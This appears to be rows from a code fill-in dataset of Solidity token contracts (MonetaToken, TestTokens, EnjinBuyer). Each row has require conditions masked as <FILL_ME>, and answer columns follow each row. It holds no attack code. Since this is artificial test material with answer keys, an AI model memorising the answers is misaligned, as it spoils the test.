returns (bool)
{
require(_to != address(0));
require(msg.sender != address(0));
require(<FILL_ME>)
require(isUnlocked() ||
isWhitelisted(msg.sender) ||
msg.sender == owner);
return super.transfer(_to, _value);
}
/**
* @dev addToBlacklist
* @param _addr the address to add the blacklist
*/
function addToBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove from blacklist
* @param _addr the address to remove from the blacklist
*/
function removeFromBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev addToWhitelist
* @param _addr the address to add to the whitelist
*/
function addToWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove an address from the whitelist
* @param _addr address to remove from whitelist
*/
function removeFromWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
function isBlacklisted(address _addr)
public view returns (bool)
{
}
/**
* @dev isWhitelisted check if an address is on whitelist
* @param _addr address to check if on whitelist
*/
function isWhitelisted(address _addr)
public view returns (bool)
{
}
/**
* @dev get the current time
*/
function getTime() internal view returns (uint) {
}
/**
* @dev get the unlock time
*/
function getUnlockTime() public view returns (uint) {
}
/**
* @dev set a new unlock time
*/
function setUnlockTime(uint newUnlockTime) onlyOwner public returns (bool)
{
}
/**
* @dev is the contract unlocked or not
*/
function isUnlocked() public view returns (bool) {
}
}
| !isBlacklisted(msg.sender) | 297,754 | !isBlacklisted(msg.sender) |
null | /**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
}
}
contract MonetaToken is StandardToken, Ownable, Pausable {
using SafeMath for uint256;
string public constant name = "MonetaPro"; // solium-disable-line uppercase
string public constant symbol = "MON"; // solium-disable-line uppercase
uint8 public constant decimals = 9; // solium-disable-line uppercase
mapping (address => bool) whitelist;
mapping (address => bool) blacklist;
uint private unlockTime;
event AddedToWhitelist(address indexed _addr);
event RemovedFromWhitelist(address indexed _addr);
event AddedToBlacklist(address indexed _addr);
event RemovedFromBlacklist(address indexed _addr);
event SetNewUnlockTime(uint newUnlockTime);
event Logging(bool msg);
constructor(
uint256 _totalSupply,
uint256 _unlockTime
)
Ownable()
public
{
}
modifier whenNotPausedOrInWhitelist() {
}
/**
* @dev Transfer a token to a specified address
* transfer
*
* transfer conditions:
* - the msg.sender address must be valid
* - the msg.sender _cannot_ be on the blacklist
* - one of the three conditions can be met:
* - the token contract is unlocked entirely
* - the msg.sender is whitelisted
* - the msg.sender is the owner of the contract
*
* @param _to address to transfer to
* @param _value amount to transfer
*/
function transfer(
address _to,
uint _value
)
public
whenNotPausedOrInWhitelist()
returns (bool)
{
require(_to != address(0));
require(msg.sender != address(0));
require(!isBlacklisted(msg.sender));
require(<FILL_ME>)
return super.transfer(_to, _value);
}
/**
* @dev addToBlacklist
* @param _addr the address to add the blacklist
*/
function addToBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove from blacklist
* @param _addr the address to remove from the blacklist
*/
function removeFromBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev addToWhitelist
* @param _addr the address to add to the whitelist
*/
function addToWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove an address from the whitelist
* @param _addr address to remove from whitelist
*/
function removeFromWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
function isBlacklisted(address _addr)
public view returns (bool)
{
}
/**
* @dev isWhitelisted check if an address is on whitelist
* @param _addr address to check if on whitelist
*/
function isWhitelisted(address _addr)
public view returns (bool)
{
}
/**
* @dev get the current time
*/
function getTime() internal view returns (uint) {
}
/**
* @dev get the unlock time
*/
function getUnlockTime() public view returns (uint) {
}
/**
* @dev set a new unlock time
*/
function setUnlockTime(uint newUnlockTime) onlyOwner public returns (bool)
{
}
/**
* @dev is the contract unlocked or not
*/
function isUnlocked() public view returns (bool) {
}
}
| isUnlocked()||isWhitelisted(msg.sender)||msg.sender==owner | 297,754 | isUnlocked()||isWhitelisted(msg.sender)||msg.sender==owner |
null | /**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
}
}
contract MonetaToken is StandardToken, Ownable, Pausable {
using SafeMath for uint256;
string public constant name = "MonetaPro"; // solium-disable-line uppercase
string public constant symbol = "MON"; // solium-disable-line uppercase
uint8 public constant decimals = 9; // solium-disable-line uppercase
mapping (address => bool) whitelist;
mapping (address => bool) blacklist;
uint private unlockTime;
event AddedToWhitelist(address indexed _addr);
event RemovedFromWhitelist(address indexed _addr);
event AddedToBlacklist(address indexed _addr);
event RemovedFromBlacklist(address indexed _addr);
event SetNewUnlockTime(uint newUnlockTime);
event Logging(bool msg);
constructor(
uint256 _totalSupply,
uint256 _unlockTime
)
Ownable()
public
{
}
modifier whenNotPausedOrInWhitelist() {
}
/**
* @dev Transfer a token to a specified address
* transfer
*
* transfer conditions:
* - the msg.sender address must be valid
* - the msg.sender _cannot_ be on the blacklist
* - one of the three conditions can be met:
* - the token contract is unlocked entirely
* - the msg.sender is whitelisted
* - the msg.sender is the owner of the contract
*
* @param _to address to transfer to
* @param _value amount to transfer
*/
function transfer(
address _to,
uint _value
)
public
whenNotPausedOrInWhitelist()
returns (bool)
{
}
/**
* @dev addToBlacklist
* @param _addr the address to add the blacklist
*/
function addToBlacklist(
address _addr
) onlyOwner public returns (bool) {
require(_addr != address(0));
require(<FILL_ME>)
blacklist[_addr] = true;
emit AddedToBlacklist(_addr);
return true;
}
/**
* @dev remove from blacklist
* @param _addr the address to remove from the blacklist
*/
function removeFromBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev addToWhitelist
* @param _addr the address to add to the whitelist
*/
function addToWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove an address from the whitelist
* @param _addr address to remove from whitelist
*/
function removeFromWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
function isBlacklisted(address _addr)
public view returns (bool)
{
}
/**
* @dev isWhitelisted check if an address is on whitelist
* @param _addr address to check if on whitelist
*/
function isWhitelisted(address _addr)
public view returns (bool)
{
}
/**
* @dev get the current time
*/
function getTime() internal view returns (uint) {
}
/**
* @dev get the unlock time
*/
function getUnlockTime() public view returns (uint) {
}
/**
* @dev set a new unlock time
*/
function setUnlockTime(uint newUnlockTime) onlyOwner public returns (bool)
{
}
/**
* @dev is the contract unlocked or not
*/
function isUnlocked() public view returns (bool) {
}
}
| !isBlacklisted(_addr) | 297,754 | !isBlacklisted(_addr) |
null | /**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
}
}
contract MonetaToken is StandardToken, Ownable, Pausable {
using SafeMath for uint256;
string public constant name = "MonetaPro"; // solium-disable-line uppercase
string public constant symbol = "MON"; // solium-disable-line uppercase
uint8 public constant decimals = 9; // solium-disable-line uppercase
mapping (address => bool) whitelist;
mapping (address => bool) blacklist;
uint private unlockTime;
event AddedToWhitelist(address indexed _addr);
event RemovedFromWhitelist(address indexed _addr);
event AddedToBlacklist(address indexed _addr);
event RemovedFromBlacklist(address indexed _addr);
event SetNewUnlockTime(uint newUnlockTime);
event Logging(bool msg);
constructor(
uint256 _totalSupply,
uint256 _unlockTime
)
Ownable()
public
{
}
modifier whenNotPausedOrInWhitelist() {
}
/**
* @dev Transfer a token to a specified address
* transfer
*
* transfer conditions:
* - the msg.sender address must be valid
* - the msg.sender _cannot_ be on the blacklist
* - one of the three conditions can be met:
* - the token contract is unlocked entirely
* - the msg.sender is whitelisted
* - the msg.sender is the owner of the contract
*
* @param _to address to transfer to
* @param _value amount to transfer
*/
function transfer(
address _to,
uint _value
)
public
whenNotPausedOrInWhitelist()
returns (bool)
{
}
/**
* @dev addToBlacklist
* @param _addr the address to add the blacklist
*/
function addToBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove from blacklist
* @param _addr the address to remove from the blacklist
*/
function removeFromBlacklist(
address _addr
) onlyOwner public returns (bool) {
require(_addr != address(0));
require(<FILL_ME>)
blacklist[_addr] = false;
emit RemovedFromBlacklist(_addr);
return true;
}
/**
* @dev addToWhitelist
* @param _addr the address to add to the whitelist
*/
function addToWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove an address from the whitelist
* @param _addr address to remove from whitelist
*/
function removeFromWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
function isBlacklisted(address _addr)
public view returns (bool)
{
}
/**
* @dev isWhitelisted check if an address is on whitelist
* @param _addr address to check if on whitelist
*/
function isWhitelisted(address _addr)
public view returns (bool)
{
}
/**
* @dev get the current time
*/
function getTime() internal view returns (uint) {
}
/**
* @dev get the unlock time
*/
function getUnlockTime() public view returns (uint) {
}
/**
* @dev set a new unlock time
*/
function setUnlockTime(uint newUnlockTime) onlyOwner public returns (bool)
{
}
/**
* @dev is the contract unlocked or not
*/
function isUnlocked() public view returns (bool) {
}
}
| isBlacklisted(_addr) | 297,754 | isBlacklisted(_addr) |
null | /**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
}
}
contract MonetaToken is StandardToken, Ownable, Pausable {
using SafeMath for uint256;
string public constant name = "MonetaPro"; // solium-disable-line uppercase
string public constant symbol = "MON"; // solium-disable-line uppercase
uint8 public constant decimals = 9; // solium-disable-line uppercase
mapping (address => bool) whitelist;
mapping (address => bool) blacklist;
uint private unlockTime;
event AddedToWhitelist(address indexed _addr);
event RemovedFromWhitelist(address indexed _addr);
event AddedToBlacklist(address indexed _addr);
event RemovedFromBlacklist(address indexed _addr);
event SetNewUnlockTime(uint newUnlockTime);
event Logging(bool msg);
constructor(
uint256 _totalSupply,
uint256 _unlockTime
)
Ownable()
public
{
}
modifier whenNotPausedOrInWhitelist() {
}
/**
* @dev Transfer a token to a specified address
* transfer
*
* transfer conditions:
* - the msg.sender address must be valid
* - the msg.sender _cannot_ be on the blacklist
* - one of the three conditions can be met:
* - the token contract is unlocked entirely
* - the msg.sender is whitelisted
* - the msg.sender is the owner of the contract
*
* @param _to address to transfer to
* @param _value amount to transfer
*/
function transfer(
address _to,
uint _value
)
public
whenNotPausedOrInWhitelist()
returns (bool)
{
}
/**
* @dev addToBlacklist
* @param _addr the address to add the blacklist
*/
function addToBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove from blacklist
* @param _addr the address to remove from the blacklist
*/
function removeFromBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev addToWhitelist
* @param _addr the address to add to the whitelist
*/
function addToWhitelist(
address _addr
) onlyOwner public returns (bool) {
require(_addr != address(0));
require(<FILL_ME>)
whitelist[_addr] = true;
emit AddedToWhitelist(_addr);
return true;
}
/**
* @dev remove an address from the whitelist
* @param _addr address to remove from whitelist
*/
function removeFromWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
function isBlacklisted(address _addr)
public view returns (bool)
{
}
/**
* @dev isWhitelisted check if an address is on whitelist
* @param _addr address to check if on whitelist
*/
function isWhitelisted(address _addr)
public view returns (bool)
{
}
/**
* @dev get the current time
*/
function getTime() internal view returns (uint) {
}
/**
* @dev get the unlock time
*/
function getUnlockTime() public view returns (uint) {
}
/**
* @dev set a new unlock time
*/
function setUnlockTime(uint newUnlockTime) onlyOwner public returns (bool)
{
}
/**
* @dev is the contract unlocked or not
*/
function isUnlocked() public view returns (bool) {
}
}
| !isWhitelisted(_addr) | 297,754 | !isWhitelisted(_addr) |
null | /**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
}
}
contract MonetaToken is StandardToken, Ownable, Pausable {
using SafeMath for uint256;
string public constant name = "MonetaPro"; // solium-disable-line uppercase
string public constant symbol = "MON"; // solium-disable-line uppercase
uint8 public constant decimals = 9; // solium-disable-line uppercase
mapping (address => bool) whitelist;
mapping (address => bool) blacklist;
uint private unlockTime;
event AddedToWhitelist(address indexed _addr);
event RemovedFromWhitelist(address indexed _addr);
event AddedToBlacklist(address indexed _addr);
event RemovedFromBlacklist(address indexed _addr);
event SetNewUnlockTime(uint newUnlockTime);
event Logging(bool msg);
constructor(
uint256 _totalSupply,
uint256 _unlockTime
)
Ownable()
public
{
}
modifier whenNotPausedOrInWhitelist() {
}
/**
* @dev Transfer a token to a specified address
* transfer
*
* transfer conditions:
* - the msg.sender address must be valid
* - the msg.sender _cannot_ be on the blacklist
* - one of the three conditions can be met:
* - the token contract is unlocked entirely
* - the msg.sender is whitelisted
* - the msg.sender is the owner of the contract
*
* @param _to address to transfer to
* @param _value amount to transfer
*/
function transfer(
address _to,
uint _value
)
public
whenNotPausedOrInWhitelist()
returns (bool)
{
}
/**
* @dev addToBlacklist
* @param _addr the address to add the blacklist
*/
function addToBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove from blacklist
* @param _addr the address to remove from the blacklist
*/
function removeFromBlacklist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev addToWhitelist
* @param _addr the address to add to the whitelist
*/
function addToWhitelist(
address _addr
) onlyOwner public returns (bool) {
}
/**
* @dev remove an address from the whitelist
* @param _addr address to remove from whitelist
*/
function removeFromWhitelist(
address _addr
) onlyOwner public returns (bool) {
require(_addr != address(0));
require(<FILL_ME>)
whitelist[_addr] = false;
emit RemovedFromWhitelist(_addr);
return true;
}
function isBlacklisted(address _addr)
public view returns (bool)
{
}
/**
* @dev isWhitelisted check if an address is on whitelist
* @param _addr address to check if on whitelist
*/
function isWhitelisted(address _addr)
public view returns (bool)
{
}
/**
* @dev get the current time
*/
function getTime() internal view returns (uint) {
}
/**
* @dev get the unlock time
*/
function getUnlockTime() public view returns (uint) {
}
/**
* @dev set a new unlock time
*/
function setUnlockTime(uint newUnlockTime) onlyOwner public returns (bool)
{
}
/**
* @dev is the contract unlocked or not
*/
function isUnlocked() public view returns (bool) {
}
}
| isWhitelisted(_addr) | 297,754 | isWhitelisted(_addr) |
"Not enough balance" | pragma solidity 0.4.24;
contract TestTokens {
//Variables
string public name;
string public symbol; // Usually is 3 or 4 letters long
uint8 public decimals; // maximum is 18 decimals
uint256 public supply;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
//Events
event Transfer(address sender, address receiver, uint256 tokens);
event Approval(address sender, address delegate, uint256 tokens);
//constructor
constructor (string memory _name, string memory _symbol, uint8 _decimals, uint256 _supply) public {
}
//Functions
//return the total number of tokens that you have
function totalSupply() external view returns (uint256){
}
//How many tokens does this person have
function balanceOf(address tokenOwner) external view returns (uint){
}
//helps in transferring from your account to another person
function transfer(address receiver, uint numTokens) external returns (bool){
require(msg.sender != receiver,"Sender and receiver can't be the same");
require(<FILL_ME>)
balances[msg.sender] -= numTokens;
balances[receiver] += numTokens;
emit Transfer(msg.sender,receiver,numTokens);
return true;
}
// Used to delegate authority to send tokens without my approval
function approve(address delegate, uint numTokens) external returns (bool){
}
// How much has the owner delegated/approved to the delegate
function allowance(address owner, address delegate) external view returns (uint){
}
// Used by exchanges to send money from owner to buyer
function transferFrom(address owner, address buyer, uint numTokens) external returns (bool){
}
// Should not be used in production
// Only to allocate testnet tokens to user for testing purposes
function allocateTo(address _owner, uint256 value) public {
}
}
| balances[msg.sender]>=numTokens,"Not enough balance" | 297,778 | balances[msg.sender]>=numTokens |
"Not enough balance" | pragma solidity 0.4.24;
contract TestTokens {
//Variables
string public name;
string public symbol; // Usually is 3 or 4 letters long
uint8 public decimals; // maximum is 18 decimals
uint256 public supply;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
//Events
event Transfer(address sender, address receiver, uint256 tokens);
event Approval(address sender, address delegate, uint256 tokens);
//constructor
constructor (string memory _name, string memory _symbol, uint8 _decimals, uint256 _supply) public {
}
//Functions
//return the total number of tokens that you have
function totalSupply() external view returns (uint256){
}
//How many tokens does this person have
function balanceOf(address tokenOwner) external view returns (uint){
}
//helps in transferring from your account to another person
function transfer(address receiver, uint numTokens) external returns (bool){
}
// Used to delegate authority to send tokens without my approval
function approve(address delegate, uint numTokens) external returns (bool){
}
// How much has the owner delegated/approved to the delegate
function allowance(address owner, address delegate) external view returns (uint){
}
// Used by exchanges to send money from owner to buyer
function transferFrom(address owner, address buyer, uint numTokens) external returns (bool){
require(owner != buyer,"Owner and Buyer can't be the same");
require(<FILL_ME>)
require(allowed[owner][msg.sender] >= numTokens,"Not enough allowance");
balances[owner] -= numTokens;
balances[buyer] += numTokens;
allowed[owner][msg.sender] -= numTokens;
emit Transfer(owner,buyer,numTokens);
return true;
}
// Should not be used in production
// Only to allocate testnet tokens to user for testing purposes
function allocateTo(address _owner, uint256 value) public {
}
}
| balances[owner]>=numTokens,"Not enough balance" | 297,778 | balances[owner]>=numTokens |
"Not enough allowance" | pragma solidity 0.4.24;
contract TestTokens {
//Variables
string public name;
string public symbol; // Usually is 3 or 4 letters long
uint8 public decimals; // maximum is 18 decimals
uint256 public supply;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
//Events
event Transfer(address sender, address receiver, uint256 tokens);
event Approval(address sender, address delegate, uint256 tokens);
//constructor
constructor (string memory _name, string memory _symbol, uint8 _decimals, uint256 _supply) public {
}
//Functions
//return the total number of tokens that you have
function totalSupply() external view returns (uint256){
}
//How many tokens does this person have
function balanceOf(address tokenOwner) external view returns (uint){
}
//helps in transferring from your account to another person
function transfer(address receiver, uint numTokens) external returns (bool){
}
// Used to delegate authority to send tokens without my approval
function approve(address delegate, uint numTokens) external returns (bool){
}
// How much has the owner delegated/approved to the delegate
function allowance(address owner, address delegate) external view returns (uint){
}
// Used by exchanges to send money from owner to buyer
function transferFrom(address owner, address buyer, uint numTokens) external returns (bool){
require(owner != buyer,"Owner and Buyer can't be the same");
require(balances[owner] >= numTokens,"Not enough balance");
require(<FILL_ME>)
balances[owner] -= numTokens;
balances[buyer] += numTokens;
allowed[owner][msg.sender] -= numTokens;
emit Transfer(owner,buyer,numTokens);
return true;
}
// Should not be used in production
// Only to allocate testnet tokens to user for testing purposes
function allocateTo(address _owner, uint256 value) public {
}
}
| allowed[owner][msg.sender]>=numTokens,"Not enough allowance" | 297,778 | allowed[owner][msg.sender]>=numTokens |
null | pragma solidity ^0.4.13;
/*
Enjin $1M Group Buyer
========================
Moves $1M worth of ETH into the Enjin presale multisig wallet
Enjin multisig wallet: 0xc4740f71323129669424d1Ae06c42AEE99da30e2
Modified version of /u/Cintix Monetha ICOBuyer
*/
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract EnjinBuyer {
// The minimum amount of eth required before the contract will buy in
// Enjin requires $1000000 @ 306.22 for 50% bonus
uint256 public eth_minimum = 3270 ether;
// Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
// Bounty for executing buy.
uint256 public buy_bounty;
// Bounty for executing withdrawals.
uint256 public withdraw_bounty;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
// Emergency kill switch in case a critical bug is found.
bool public kill_switch;
// SHA3 hash of kill switch password.
bytes32 password_hash = 0x48e4977ec30c7c773515e0fbbfdce3febcd33d11a34651c956d4502def3eac09;
// Earliest time contract is allowed to buy into the crowdsale.
// This time constant is in the past, not important for Enjin buyer, we will only purchase once
uint256 public earliest_buy_time = 1504188000;
// Maximum amount of user ETH contract will accept. Reduces risk of hard cap related failure.
uint256 public eth_cap = 5000 ether;
// The developer address.
address public developer = 0xA4f8506E30991434204BC43975079aD93C8C5651;
// The crowdsale address. Settable by the developer.
address public sale;
// The token address. Settable by the developer.
ERC20 public token;
// Allows the developer to set the crowdsale addresses.
function set_sale_address(address _sale) {
}
// Allows the developer to set the token address !
// Enjin does not release token address until public crowdsale
// In theory, developer could shaft everyone by setting incorrect token address
// Please be careful
function set_token_address(address _token) {
}
// Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies.
function activate_kill_switch(string password) {
}
// Withdraws all ETH deposited or tokens purchased by the given user and rewards the caller.
function withdraw(address user){
// Only allow withdrawals after the contract has had a chance to buy in.
require(<FILL_ME>)
// Short circuit to save gas if the user doesn't have a balance.
if (balances[user] == 0) return;
// If the contract failed to buy into the sale, withdraw the user's ETH.
if (!bought_tokens) {
// Store the user's balance prior to withdrawal in a temporary variable.
uint256 eth_to_withdraw = balances[user];
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[user] = 0;
// Return the user's funds. Throws on failure to prevent loss of funds.
user.transfer(eth_to_withdraw);
}
// Withdraw the user's tokens if the contract has purchased them.
else {
// Retrieve current token balance of contract.
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
// Store the user's token balance in a temporary variable.
uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value;
// Update the value of tokens currently held by the contract.
contract_eth_value -= balances[user];
// Update the user's balance prior to sending to prevent recursive call.
balances[user] = 0;
// 1% fee if contract successfully bought tokens.
uint256 fee = tokens_to_withdraw / 100;
// Send the fee to the developer.
//require(token.transfer(developer, fee));
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(user, tokens_to_withdraw - fee));
}
// Each withdraw call earns 1% of the current withdraw bounty.
uint256 claimed_bounty = withdraw_bounty / 100;
// Update the withdraw bounty prior to sending to prevent recursive call.
withdraw_bounty -= claimed_bounty;
// Send the caller their bounty for withdrawing on the user's behalf.
msg.sender.transfer(claimed_bounty);
}
// Allows developer to add ETH to the buy execution bounty.
function add_to_buy_bounty() payable {
}
// Allows developer to add ETH to the withdraw execution bounty.
function add_to_withdraw_bounty() payable {
}
// Buys tokens in the crowdsale and rewards the caller, callable by anyone.
function claim_bounty(){
}
// Default function. Called when a user sends ETH to the contract.
function () payable {
}
}
| bought_tokens||now>earliest_buy_time+1hours | 297,794 | bought_tokens||now>earliest_buy_time+1hours |
null | pragma solidity ^0.4.13;
/*
Enjin $1M Group Buyer
========================
Moves $1M worth of ETH into the Enjin presale multisig wallet
Enjin multisig wallet: 0xc4740f71323129669424d1Ae06c42AEE99da30e2
Modified version of /u/Cintix Monetha ICOBuyer
*/
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract EnjinBuyer {
// The minimum amount of eth required before the contract will buy in
// Enjin requires $1000000 @ 306.22 for 50% bonus
uint256 public eth_minimum = 3270 ether;
// Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
// Bounty for executing buy.
uint256 public buy_bounty;
// Bounty for executing withdrawals.
uint256 public withdraw_bounty;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
// Emergency kill switch in case a critical bug is found.
bool public kill_switch;
// SHA3 hash of kill switch password.
bytes32 password_hash = 0x48e4977ec30c7c773515e0fbbfdce3febcd33d11a34651c956d4502def3eac09;
// Earliest time contract is allowed to buy into the crowdsale.
// This time constant is in the past, not important for Enjin buyer, we will only purchase once
uint256 public earliest_buy_time = 1504188000;
// Maximum amount of user ETH contract will accept. Reduces risk of hard cap related failure.
uint256 public eth_cap = 5000 ether;
// The developer address.
address public developer = 0xA4f8506E30991434204BC43975079aD93C8C5651;
// The crowdsale address. Settable by the developer.
address public sale;
// The token address. Settable by the developer.
ERC20 public token;
// Allows the developer to set the crowdsale addresses.
function set_sale_address(address _sale) {
}
// Allows the developer to set the token address !
// Enjin does not release token address until public crowdsale
// In theory, developer could shaft everyone by setting incorrect token address
// Please be careful
function set_token_address(address _token) {
}
// Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies.
function activate_kill_switch(string password) {
}
// Withdraws all ETH deposited or tokens purchased by the given user and rewards the caller.
function withdraw(address user){
// Only allow withdrawals after the contract has had a chance to buy in.
require(bought_tokens || now > earliest_buy_time + 1 hours);
// Short circuit to save gas if the user doesn't have a balance.
if (balances[user] == 0) return;
// If the contract failed to buy into the sale, withdraw the user's ETH.
if (!bought_tokens) {
// Store the user's balance prior to withdrawal in a temporary variable.
uint256 eth_to_withdraw = balances[user];
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[user] = 0;
// Return the user's funds. Throws on failure to prevent loss of funds.
user.transfer(eth_to_withdraw);
}
// Withdraw the user's tokens if the contract has purchased them.
else {
// Retrieve current token balance of contract.
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
// Store the user's token balance in a temporary variable.
uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value;
// Update the value of tokens currently held by the contract.
contract_eth_value -= balances[user];
// Update the user's balance prior to sending to prevent recursive call.
balances[user] = 0;
// 1% fee if contract successfully bought tokens.
uint256 fee = tokens_to_withdraw / 100;
// Send the fee to the developer.
//require(token.transfer(developer, fee));
// Send the funds. Throws on failure to prevent loss of funds.
require(<FILL_ME>)
}
// Each withdraw call earns 1% of the current withdraw bounty.
uint256 claimed_bounty = withdraw_bounty / 100;
// Update the withdraw bounty prior to sending to prevent recursive call.
withdraw_bounty -= claimed_bounty;
// Send the caller their bounty for withdrawing on the user's behalf.
msg.sender.transfer(claimed_bounty);
}
// Allows developer to add ETH to the buy execution bounty.
function add_to_buy_bounty() payable {
}
// Allows developer to add ETH to the withdraw execution bounty.
function add_to_withdraw_bounty() payable {
}
// Buys tokens in the crowdsale and rewards the caller, callable by anyone.
function claim_bounty(){
}
// Default function. Called when a user sends ETH to the contract.
function () payable {
}
}
| token.transfer(user,tokens_to_withdraw-fee) | 297,794 | token.transfer(user,tokens_to_withdraw-fee) |
null | pragma solidity ^0.4.13;
/*
Enjin $1M Group Buyer
========================
Moves $1M worth of ETH into the Enjin presale multisig wallet
Enjin multisig wallet: 0xc4740f71323129669424d1Ae06c42AEE99da30e2
Modified version of /u/Cintix Monetha ICOBuyer
*/
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract EnjinBuyer {
// The minimum amount of eth required before the contract will buy in
// Enjin requires $1000000 @ 306.22 for 50% bonus
uint256 public eth_minimum = 3270 ether;
// Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
// Bounty for executing buy.
uint256 public buy_bounty;
// Bounty for executing withdrawals.
uint256 public withdraw_bounty;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
// Emergency kill switch in case a critical bug is found.
bool public kill_switch;
// SHA3 hash of kill switch password.
bytes32 password_hash = 0x48e4977ec30c7c773515e0fbbfdce3febcd33d11a34651c956d4502def3eac09;
// Earliest time contract is allowed to buy into the crowdsale.
// This time constant is in the past, not important for Enjin buyer, we will only purchase once
uint256 public earliest_buy_time = 1504188000;
// Maximum amount of user ETH contract will accept. Reduces risk of hard cap related failure.
uint256 public eth_cap = 5000 ether;
// The developer address.
address public developer = 0xA4f8506E30991434204BC43975079aD93C8C5651;
// The crowdsale address. Settable by the developer.
address public sale;
// The token address. Settable by the developer.
ERC20 public token;
// Allows the developer to set the crowdsale addresses.
function set_sale_address(address _sale) {
}
// Allows the developer to set the token address !
// Enjin does not release token address until public crowdsale
// In theory, developer could shaft everyone by setting incorrect token address
// Please be careful
function set_token_address(address _token) {
}
// Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies.
function activate_kill_switch(string password) {
}
// Withdraws all ETH deposited or tokens purchased by the given user and rewards the caller.
function withdraw(address user){
}
// Allows developer to add ETH to the buy execution bounty.
function add_to_buy_bounty() payable {
